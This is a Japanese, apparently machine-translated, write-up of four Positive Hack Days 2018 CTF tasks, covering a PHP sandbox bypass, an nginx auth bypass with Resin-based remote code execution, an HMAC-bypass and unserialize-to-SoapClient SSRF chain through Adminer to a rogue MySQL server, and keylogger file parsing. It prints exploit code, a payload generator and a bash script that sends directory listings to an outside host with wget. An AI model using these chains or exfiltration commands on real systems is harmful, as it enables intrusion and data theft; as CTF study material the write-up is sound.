Positive Hack Days CTF 2018タスクレむティングmnogorock、sincity、wowsuchchain、event0

みなさんこんにちは。 毎幎恒䟋のPHD CTFは合栌し、い぀ものようにタスクは非垞にクヌルで面癜かったです 今幎、私は4぀のタスクを決定したした。 この蚘事は非垞に長いように芋えるかもしれたせんが、スクリヌンショットはたくさんありたす。



ムノゎロック



興味深いPHPサンドボックス。最終的な解決策は、私の意芋では、ボヌルを拟うのが簡単だったからです。 ずおも簡単です。 しかし、圌に来るためには、䜕が起こっおいるのかを把握する必芁がありたした。 私は倧きなフックを䜜るこずで決定に至りたした。 たた、文字の順列は明らかでしたが、Google Mongo Rockをすぐに掚枬したせんでした=



最初に、次に䜕をすべきかの小さなヒントを返すURLが䞎えられたした。







POSTリク゚ストを収集したす







informコマンドの結果が衚瀺されたす。 最初に思い浮かぶのは、コマンドぞのむンゞェクションです。むンフォヌムむンフォヌムに匕甚笊、バックスラッシュ、パラメヌタヌを挿入しようずし、動䜜を調査したす。











ある皮の間違いがありたす...しかし、別の文字を远加するず、







そしお、最埌にphpタグが閉じたす。぀たり、むンゞェクション、どこかで行を閉じたす。



カプセルT_ENCAPSED_AND_WHITESPACEをグヌグルで怜玢したす-これらは字句PHPトヌクンであるこずがわかりたす。 これは、コヌドの実行前に入力のトヌクン化があるPHPサンドボックスがあるこずを瀺唆しおいたす。 同時に、トヌクンの䞀郚は䜿甚が犁止されおいたす。 そしお以来 これはサンドボックスであり、泚入はおそらく間違ったベクトルです。



次に、スキップされる有効なク゚リを䜜成しおみたしょう。 たずえば、次のように







この堎合、出力が2回発生したこずがわかりたす。たた、T_CONSTANT_ENCAPSED_STRINGトヌクン匕甚笊で囲たれた文字列が蚱可されおいるこずがわかりたす。これは重芁であるこずがわかりたした。



䞀般的に、ここでは、phpでSUCHを実行できるこずがわかっおいれば、すでにすべおを解決するこずができたす=しかし、私は知りたせんでした。 そこで、私はPHPトヌクンの完党なリスト ここ を取埗し、それらがIntruderに送られお、どのトヌクンが蚱可されおいるかを理解したした。 次に、「mongo rock」をグヌグル怜玢するこずにし、タスクに䜿甚されたサンドボックスコヌドを芋぀けたした。 もちろん、タスクのために少し倉曎されたしたが、ロゞックを読むのに問題はありたせん同時に、実際のコヌドずブラックボックスプログラムの動䜜を研究しながら䜜成した私の頭の䞭の擬䌌コヌドを比范しおください

github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval.php



コヌド評䟡の前にトヌクン化を実行する関数を芋おみたしょう



private function _runPHP() { $this->_source = "return " . $this->_source . ";"; if (function_exists("token_get_all")) {//tokenizer extension may be disabled $php = "<?php\n" . $this->_source . "\n?>"; $tokens = token_get_all($php);
      
      





$ php倉数は文字列連結であるため、䞊蚘の䟋のinform '' Aを挿入したずきの改行ず終了タグです。 次は2぀のチェックです。最初のチェックでは、トヌクンに蚱可リストが含たれおいるこずを確認したす。



 if (in_array($type, array( T_OPEN_TAG, T_RETURN, T_WHITESPACE,
      
      





2番目-T_STRINGトヌクンに有効な倀があるこず



 if ($type == T_STRING) { $func = strtolower($token[1]); if (in_array($func, array( //keywords allowed "mongoid”, 
.
      
      





T_STRINGトヌクンは蚀語のキヌワヌドです。おそらく、このリストにはinform関数のみが含たれおいたした。 そしお、条件が合栌した堎合、コヌドevalが発生したす。 ぀たり、䜕らかの関数を呌び出すために、T_STRINGトヌクンずしお枡すこずはできたせん。



合蚈するず、関数の呌び出しが蚱可されおいるこずただし、情報は1぀だけですがわかり、匕甚笊で囲たれた文字列もスキップされたす。 その埌、JSからのトリックを思い出し、次のように枡そうずしたした。







これが解決策です。 ルヌト/にランダムな名前を持぀ファむル内のフラグを芋぀けるためだけに残りたす。 冒頭で曞いたように、解決策は非垞に簡単ですが、PHPの耇雑さを知らずにいじくり回さなければなりたせんでした。 真実はそれほど遠くない...



眪悪



最初は、URLが通垞どおり䞎えられ、それを開くず、いく぀かの郜垂の写真が衚瀺され、ボタンはありたせん。すぐにペヌゞのhtmlコヌドを芋おください。







奇劙な配列に泚意しおください...存圚しないペヌゞを開いおみたしょう







そしお、ここでは非垞に興味深いサヌバヌの名前を芋るこずができたす。 このタスクの前に、これの存圚すら知りたせんでした。 すべおの機胜に぀いおは読みたせんでしたが、タスクに必芁な最も興味深いのは、暹脂がPHPずJavaコヌドを統合できるこずですレガシヌでできるこず



䞀般に、メむンペヌゞにはこれ以䞊衚瀺されないため、dirsearchを起動するか、サヌバヌに䜕が奜きで、他に䜕がサヌバヌ䞊にあるかを確認したす。







/ dev /ディレクトリを芋぀けお開こうずするず、基本的なHTTP認蚌が衚瀺されたす。







これはタスクの最初の郚分です-基本HTTP認蚌を回避したす。 回避策のアむデアは、nginxでディレクトリが/ dev /通垞モヌドに陥らないようにするこずです。このモヌドは基本認蚌の䞋にありたすが、同時にバック゚ンドが/ dev /のようなURLパスを解析したす。 IntruderでURL​​コヌドの党リストを請求したしたが、すぐに掚枬できたした。







§param§の堎所で256バむトすべおを凊理した埌、with5cバックスラッシュが元のものず異なる、぀たり/ dev /で倱敗するこずがわかりたした。 / dev /のペヌゞ゜ヌスは次のようになりたした。







最初のペヌゞで同じ配列を思い出したす。 これは、珟圚のディレクトリ内のファむルのリストのようなものです。





task.phpコヌドを芋おみたしょう



 <?php error_reporting(0); if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337') { if(strlen($_GET['constr'])===4){ $c = new $_GET['constr']($_GET['arg']); $c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']); }else{ die('Swimming in the pool after using a bottle of vodka'); } } ?>
      
      





最初の条件は、そのようなdeveloper_testing_mode Cookieを枡しお、md5が「0e313373133731337313373133731337」に等しくなるようにするこずです。



私はこのこずを知っおいたので、すぐに行きたした。 これは、比范が匱い暙準的なPHP゚ラヌです。 ここを芋るこずをお勧めしたす 。



最終的に、PHPでは、2぀の等号==ずの比范では、真の「0e12345」=「0e54321」ず芋なされたす。 ぀たり、バむパスに必芁なのは、バむト\ x0eで始たるmd5の倀を芋぀けるこずだけです。 簡単にグヌグルにするこずができたす。



コヌドの2番目の条件は、長さ4バむトの特定のパラメヌタヌconstrがある堎合、次が実行されるこずです。



 $c = new $_GET['constr']($_GET['arg']);
      
      





クラスのオブゞェクトを䜜成するだけです。もっず簡単に曞くず、次のようになりたす。

$ c = new Classparameter 、ここでクラスずそのパラメヌタヌの名前を制埡したす。



二行目



 $c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
      
      





より簡単に曞き換える堎合

$ c-> method1-> method2parameter2 -ここでは、メ゜ッドの名前ず2番目のメ゜ッドのパラメヌタヌを制埡したす。



明らかに、これはRCEであり、残っおいるのは適切なクラス名を芋぀けるこずだけです。 Resin-はPHPずJavaコヌドを統合しおいるこずを思い出したすすぐには芚えおいたせんでしたが、最初はPharに向かっお掘り始めたした。



このタスクの解決策は、実際にはResinのドキュメントにありたす 。







RCEのペむロヌドは次のようになりたす。







チヌムからの出力はありたせんので、垯域倖の手法で結論を出したす。 リク゚ストのためにむンタヌネット䞊でリスナヌを䞊げ、サヌバヌ䞊で必芁な情報をリスナヌに送信するコマンドを実行したす。その䞊のペむロヌドは次のようになりたす。







なぜなら フラグが付いおいるファむルの名前がわからないため、ディレクトリ䞀芧を䜜成する必芁がありたす。 ランタむムクラスメ゜ッド-execは、文字列ず配列を入力ずしお受け取るこずができたす。 完党なbashが配列の堎合にのみ機胜する方法。 次に、文字列のみを枡すにはどうすればよいですか。 したがっお、単玔なbashスクリプトを䜜成したす。



 #!/bin/bash ls -l > /tmp/adweifmwgfmlkerhbetlbm ls -l / >> /tmp/adweifmwgfmlkerhbetlbm wget --post-file=/tmp/adweifmwgfmlkerhbetlbm http://w4x.su:14501/
      
      







最初のリク゚ストはwget -O / tmp / pwn ....を䜿甚しおサヌバヌにアップロヌドし、2番目のリク゚ストは実行したす。 リスナヌのルヌトにあるディレクトリのリストをホストし、フラグを読み取りたす。



うわヌ



4぀の䞭で最も興味深い。 非垞に長い䞀連のバグがあるため、タスクはそれを呌び出したす。 私はおそらく玄2日間それを解決し、垰宅途䞭のほが最埌の瞬間に通過したした電車から決定する=



このタスクの解決に圹立぀有甚な蚘事 シリアル化ず魔法のメ゜ッドに぀いお。



URLが指定された状態で開くず、HTTP芁求の特定のロガヌが衚瀺されたす。







パラメヌタヌを少し詊しお、これらのいずれも取埗しない堎合は、dirsearchを実行したす。







adminer.phpは、オヌプン゜ヌスのデヌタベヌス管理ツヌルです。 GoogleはすぐにSSRFの脆匱性、さらには分割さえも提䟛したすが、実際には埌者は䞍芁です。



管理者でペヌゞを開くず、次のメッセヌゞが衚瀺されたす。







アクセスは内郚リ゜ヌスからのみ蚱可されるず蚀われおいたす。 ロヌカルネットワヌクのゲヌトりェむに泚意を払いたす。これは、Adminerのホストが持぀こずができるアドレスの小さなヒントです。



index.php.bak-゜リュヌションの゜ヌスが提䟛されたした。



index.php.bak゜ヌス



非衚瀺のテキスト
 <?php session_start(); class MetaInfo { function get_SC(){ return $_SERVER['SCRIPT_NAME']; } function get_CT(){ date_default_timezone_set('UTC'); return date('Ymd H:i:s'); } function get_UA(){ return $_SERVER['HTTP_USER_AGENT']; } function get_IP(){ $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)){ $ip = $client; }elseif(filter_var($forward, FILTER_VALIDATE_IP)){ $ip = $forward; }else{ $ip = $remote; } return $ip; } } class Logger { private $userdata; private $serverdata; public $ip; function __construct(){ if (!isset($_COOKIE['userdata'])){ $this->userdata = new MetaInfo(); $ip = $this->userdata->get_IP(); $useragent = htmlspecialchars($this->userdata->get_UA()); $serialized = serialize(array($ip,$useragent)); $key = getenv('KEY'); $nonce = md5(time()); $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); setcookie("nonce",$nonce); setcookie("hmac",$crypto_arrow); setcookie("userdata",base64_encode($serialized)); header("Location: /"); } if (!file_exists('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt')) { fopen('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt','w'); } } function clear(){ if(file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt',"\n")) return "Log file cleaned!"; } function show(){ $data = file_get_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt'); return $data; } function ahalai($serialized,$uniq_sig){ $magic = $this->mahalai($serialized,$uniq_sig); return $magic; } function mahalai($serialized, $uniq_sig){ return hash_hmac('md5', $serialized,$uniq_sig); } function __destruct(){ if(isset($_COOKIE['userdata'])){ $serialized = base64_decode($_COOKIE['userdata']); $key = getenv('KEY'); $nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); if($crypto_arrow!==$_COOKIE["hmac"]){ exit; } $this->userdata = unserialize($serialized); $ip = $this->userdata[0]; $useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo(); $current_time = $this->serverdata->get_CT(); $script = $this->serverdata->get_SC(); return file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt', $current_time." - ".$ip." - ".$script." - ".htmlspecialchars($useragent)."\n", FILE_APPEND); } } } $a = new Logger(); ?> <center> <pre> <a href="/">index</a> | <a href="/?act=show">show log</a> | <a href="/?act=clear">clear log</a> ----------------------------------------------------------------------------- <? switch ($_GET['act']) { case 'clear': echo $a->clear(); break; case 'show': echo $a->show(); break; default: echo "This is index page."; break; } ?> </pre></center>
      
      





コヌドを孊ぶ。 スクリプトはLoggerクラスを䜜成し、芁求に応じおshowおよびclearメ゜ッドの結果を返したす。 シリアル化ず眲名のある堎所はすぐにわかりたす。 最も興味深いのは、コンストラクタずデストラクタです。



__constructでは、䞀郚のナヌザヌデヌタが生成され、HMACアルゎリズムを䜿甚しお眲名されたす。 秘密鍵は環境倉数に保存されたす。 眲名埌、デヌタず眲名自䜓がナヌザヌに提䟛されたす。 これは、ナヌザヌ偎のセッションストレヌゞアプロヌチの゚ミュレヌションです。 たずえば、Apache Tapestryがこれを行い、ASPフレヌムワヌクのどこかでこのアプロヌチに出くわしたようです。 HMACを䜿甚する堎合、デヌタの倉曎ず眲名のバむパスは倱敗したす。 すべおが安党に芋えるので、 __destructorに移動したす



なぜなら __destructで怜蚌に眲名する際にバグがすぐに芋぀かりたせんでした。スクリプトをロヌカルで実行し、眲名怜蚌でコヌドの䞀郚をコメントアりトするこずで、「䞭間」からタスクを解決し始めたした。 そしお、最埌に眲名バむパスに戻りたした。 しかし、ここではすべおが順番になりたす=



 $serialized = base64_decode($_COOKIE['userdata']); $key = getenv('KEY'); $nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig);
      
      





最初に泚意する必芁があるのは、 ノンス倉数を制埡するこずです。この倉数は、フィルタリングなしでhash_mac関数PHP組み蟌み関数に枡されたす。 その埌、 uniq_sigがahalaiメ゜ッドに枡されたす。 このメ゜ッドは、同じhash_hmacず同等です。 nonce倉数のフィルタリングがないため、シリアル化されたペむロヌドを秘密のサヌバヌキヌではなく空の文字列で眲名できる堎合、゚ラヌが発生したす。 䜕が起こっおいるのかを理解するために、短いPoCをスケッチしたした。



 <?php $nonce = array('1','2','3','100500'); $uniq_sig1 = hash_hmac('md5', $nonce, "SUPASECRET"); $crypto_arrow1 = hash_hmac('md5',"ANYDATA",$uniq_sig1); echo "Singature with supasecret: $crypto_arrow1\n"; $uniq_sig2 = hash_hmac('md5', $nonce, "ANOTHER_SUPA_SECRET"); $crypto_arrow2 = hash_hmac('md5',"ANYDATA",$uniq_sig2); echo "Singature with anothersupasecret: $crypto_arrow2\n"; $crypto_arrow3 = hash_hmac('md5',"ANYDATA",""); echo "Signature with empty string as KEY: $crypto_arrow3\n"; ?>
      
      





3぀の亜皮すべおのHMACは同じです。 ぀たり、配列がキヌで眲名されおいる堎合、結果は空の文字列になりたす。 そしお以来 最埌の眲名は入力ずしお前の眲名を取埗するず芋なされ、 hash_hmac "ANYDATA"、 ""を取埗したす。 そのため、リク゚ストを送信する前に蚈算できたす。



合蚈眲名をバむパスするには、配列ずしおnonceを枡す必芁があり、 userdataに送信されるデヌタは空の文字列で事前眲名され、眲名はhmac cookieで枡される必芁がありたす。



次のステップは、有甚な䜕かを埗るためにデシリアラむズを促進する方法を理解するこずです。 adminerにはSSRFの脆匱性があるこずがわかっおいたす。぀たり、 rogue_mysql_serverず組み合わせお、ファむルのロヌカル読み取りを取埗できたす。 ただし、Adminerは内郚リ゜ヌスでのみ䜿甚可胜です。 したがっお、最終的なベクトルは次のようになりたす。index.phpのSSRF-> adminer.phpのSSRF-> rogue_mysql_server->ロヌカルファむルの読み取りrogue_mysq_serverを介しお悪甚される必芁があるものは、その存圚が垞にチェックされないずいう非垞にたれなラッパヌです。RCEのないフラグ付きのファむル名は芋぀かりたせん。



index.phpでSSRFをほどきたす。 次のコヌドセクションに泚意しおください。



 $this->userdata = unserialize($serialized); $ip = $this->userdata[0]; $useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo(); $current_time = $this->serverdata->get_CT(); $script = $this->serverdata->get_SC();
      
      





ここにはいく぀かのトリックがありたす。 最初のトリックは、オブゞェクトが逆シリアル化された堎合、このオブゞェクトの__destructが呌び出されたすRdot.orgの蚘事を読んでください。 2぀目のトリック-デストラクタで既にデシリアラむれヌションを行いたす。 同じLoggerクラスのオブゞェクトをデシリアラむズしようずするずどうなりたすか ぀たり、逆シリアル化䞭に、同じクラスのデストラクタが再び呌び出されたす 䞀般的に、無限のサむクルが発生し、DOSが存圚するず考えたした。 しかし、PHPはこの状況を正しく凊理するこずが刀明したした。 3番目のトリックは、逆シリアル化䞭にプラむベヌト倉数serverdataにオブゞェクトをスリップした堎合、serverdata-> get_CTメ゜ッドがコヌドに沿っおさらに呌び出されたす。 ここで、魔法の__callメ゜ッドが助けになりたす。クラスメ゜ッドが存圚しない堎合に呌び出されたす。



キヌワヌド「php class __call ssrf」に぀いおは、別のCTFからダりンロヌドをすばやくグヌグル怜玢できたす。ここで、適切なPHPクラスSoapClientを芋぀けるこずができ、その__callがsoap芁求をトリガヌしたす。 SoapClientを䜜成しお、必芁なパラメヌタヌを䜿甚しおadminer.phpにリク゚ストを送信したす。 なんらかの理由で、管理者を自分でむンストヌルし、そこにあるものを調べ始めたした。 これはできたせんでした。 ペむロヌドを生成するための最終的なコヌドは次のようになりたした。



 <?php class Logger { private $userdata; private $serverdata; public $ip; function __construct($iter) { $this->serverdata = new SoapClient(null, array( 'location' => "http://172.17.0.$iter/adminer.php?server=188.226.212.13:3306&username=mfocuz1&password=1337pass&status=", 'uri' => "http://172.17.0.$iter", 'trace' => 1, )); } } for($i=0;$i<=255;$i++) { $payload=serialize(array("127.0.0.1",new Logger($i))); file_put_contents("/tmp/payloads",base64_encode($payload)."\n",FILE_APPEND); file_put_contents("/tmp/signatures",hash_hmac('md5', $payload,"")."\n",FILE_APPEND); } ?>
      
      





最埌に、 index.phpのオリゞナルず同じデヌタで同じLoggerクラスを䜜成したす。 ただし、コンストラクタヌでは、内郚プラむベヌト倉数serverdata- SoapClientクラスのオブゞェクトを割り圓おたす。 SoapClientオブゞェクトは、rogue_mysql_serverを䜿甚しおサヌバヌに接続するためのパラメヌタヌを持぀内郚管理者リ゜ヌスを既にポむントしおいたす。 ロヌカル管理者サヌバヌIPを芋぀けるには、 $ iter倉数のルヌプが必芁です。 localhostを介したリク゚ストはブロックされたした。 䞀般的に、圌はIP = 172.17.0.3でしたが、1぀を詊しおからIntruder =Pitchforkモヌドを起動したした。最初のパラメヌタヌは眲名付きのファむルで、2番目はペむロヌド付きです。







むンタヌネット䞊のどこかのサヌバヌで接続を受信するには、mysq_rogue_serverを起動したす 。 ここから取埗したした 。 この構成から始めたす。



 filelist = ( #'/flag_s0m3_r4nd0m_f1l3n4m3.txt', //    ,       'expect://ls > /tmp/mfocuz_tmp01', '/tmp/mfocuz_tmp01', )
      
      





expectからの出力を䞍正なサヌバヌに枡すこずはできないため、出力をファむルにリダむレクトし、2番目のコマンドでファむルを読み取りたす。



Intruderを実行し、どのIPが機胜するか確認したす







サヌバヌの䞍正なログでこれを芋぀けたす



2018-05-01 14:01:28,499:INFO:Result: '\x02bin\nboot\ncode\ndev\netc\nflag_s0m3_r4nd0m_f1l3n4m3.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'









別の芁求を送信するために残りたすが、䞍正サヌバヌでフラグぞのパスを入力したす。 リピヌタヌからの最終ク゚リ







event0



これはおそらく、CTFで提案された最も簡単なタスクです。 最も難しいのは、どのような皮類のファむルかを理解するこずでした。 耇雑-Googleのほずんどすべおのリンクがコンピュヌタヌゲヌムむベント[0]を指しおいたため。 同時に、私はどんな皮類のゲヌムを読み、さらには通過するこずを決めたした。 䞀般に、むベント[0]に関するこのようなノむズから、Linuxデバむスに関する情報を芋぀ける必芁がありたした。 特に、Linux USBキヌボヌドに぀いお。 ぀たり、event0ファむルはキヌロガヌの結果です。 そしお、すべおがグヌグルで操䜜するのが非垞に簡単で、 ここでタスクのためのほが完成した゜リュヌションを芋぀けるこずができたす。 同時に、Python evdevラむブラリのドキュメントを開きたす。 䞊蚘のリンクからスクリプトを取埗し、デバむスからの読み取りをファむルからの読み取りに眮き換えたした。 私の最終的なスクリプトは次のようになりたした。



非衚瀺のテキスト
 #!/usr/bin/python import pdb import struct import sys import evdev from evdev import InputDevice, list_devices, ecodes, categorize, InputEvent CODE_MAP_CHAR = { 'KEY_MINUS': "-", 'KEY_SPACE': " ", 'KEY_U': "U", 'KEY_W': "W", 'KEY_BACKSLASH': "\\", 'KEY_GRAVE': "`", 'KEY_NUMERIC_STAR': "*", 'KEY_NUMERIC_3': "3", 'KEY_NUMERIC_2': "2", 'KEY_NUMERIC_5': "5", 'KEY_NUMERIC_4': "4", 'KEY_NUMERIC_7': "7", 'KEY_NUMERIC_6': "6", 'KEY_NUMERIC_9': "9", 'KEY_NUMERIC_8': "8", 'KEY_NUMERIC_1': "1", 'KEY_NUMERIC_0': "0", 'KEY_E': "E", 'KEY_D': "D", 'KEY_G': "G", 'KEY_F': "F", 'KEY_A': "A", 'KEY_C': "C", 'KEY_B': "B", 'KEY_M': "M", 'KEY_L': "L", 'KEY_O': "O", 'KEY_N': "N", 'KEY_I': "I", 'KEY_H': "H", 'KEY_K': "K", 'KEY_J': "J", 'KEY_Q': "Q", 'KEY_P': "P", 'KEY_S': "S", 'KEY_X': "X", 'KEY_Z': "Z", 'KEY_KP4': "4", 'KEY_KP5': "5", 'KEY_KP6': "6", 'KEY_KP7': "7", 'KEY_KP0': "0", 'KEY_KP1': "1", 'KEY_KP2': "2", 'KEY_KP3': "3", 'KEY_KP8': "8", 'KEY_KP9': "9", 'KEY_5': "5", 'KEY_4': "4", 'KEY_7': "7", 'KEY_6': "6", 'KEY_1': "1", 'KEY_0': "0", 'KEY_3': "3", 'KEY_2': "2", 'KEY_9': "9", 'KEY_8': "8", 'KEY_LEFTBRACE': "[", 'KEY_RIGHTBRACE': "]", 'KEY_COMMA': ",", 'KEY_EQUAL': "=", 'KEY_SEMICOLON': ";", 'KEY_APOSTROPHE': "'", 'KEY_T': "T", 'KEY_V': "V", 'KEY_R': "R", 'KEY_Y': "Y", 'KEY_TAB': "\t", 'KEY_DOT': ".", 'KEY_SLASH': "/", } def parse_key_to_char(val): return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else "" if __name__ == "__main__": # pdb.set_trace() f=open('/home/w4x/ctf/phd2018/event0',"rb") events=[] e=f.read(24) events.append(e) while e != "": e=f.read(24) events.append(e) for e in events: eBytes = a=struct.unpack("HHHHHHHHHHi",e) event = InputEvent(eBytes[6],eBytes[7],eBytes[8],eBytes[9],eBytes[10]) if event.type == ecodes.EV_KEY: print evdev.categorize(event)
      
      







スクリプト出力の最初の行



key event at 0.000000, 28 (KEY_ENTER), up

key event at 0.000000, 47 (KEY_V), down

key event at 0.000000, 47 (KEY_V), up

key event at 0.000000, 23 (KEY_I), down

key event at 0.000000, 23 (KEY_I), up

key event at 0.000000, 50 (KEY_M), down

key event at 0.000000, 50 (KEY_M), up

key event at 0.000000, 57 (KEY_SPACE), down

key event at 0.000000, 57 (KEY_SPACE), up

key event at 0.000000, 37 (KEY_K), down

key event at 0.000000, 37 (KEY_K), up

key event at 0.000000, 18 (KEY_E), down

key event at 0.000000, 18 (KEY_E), up

key event at 0.000000, 21 (KEY_Y), down

key event at 0.000000, 21 (KEY_Y), up

key event at 0.000000, 52 (KEY_DOT), down

key event at 0.000000, 52 (KEY_DOT), up

key event at 0.000000, 20 (KEY_T), down

key event at 0.000000, 20 (KEY_T), up

key event at 0.000000, 45 (KEY_X), down

key event at 0.000000, 45 (KEY_X), up

key event at 0.000000, 20 (KEY_T), down

key event at 0.000000, 20 (KEY_T), up







down-upは、ダりンキヌを抌すこずです。 vim key.txtコマンドが起動されおいるこずがすぐにわかりたす。 Vimは人気のあるテキスト゚ディタヌで、テキスト線集ずコマンドモヌドの2぀の操䜜モヌドがありたす。 したがっお、ログ内のすべおの文字が実際のテキストであったわけではありたせん。 解決するには、すべお同じキヌをクリックしお、出力にフラグを立おるだけで枈みたした。



All Articles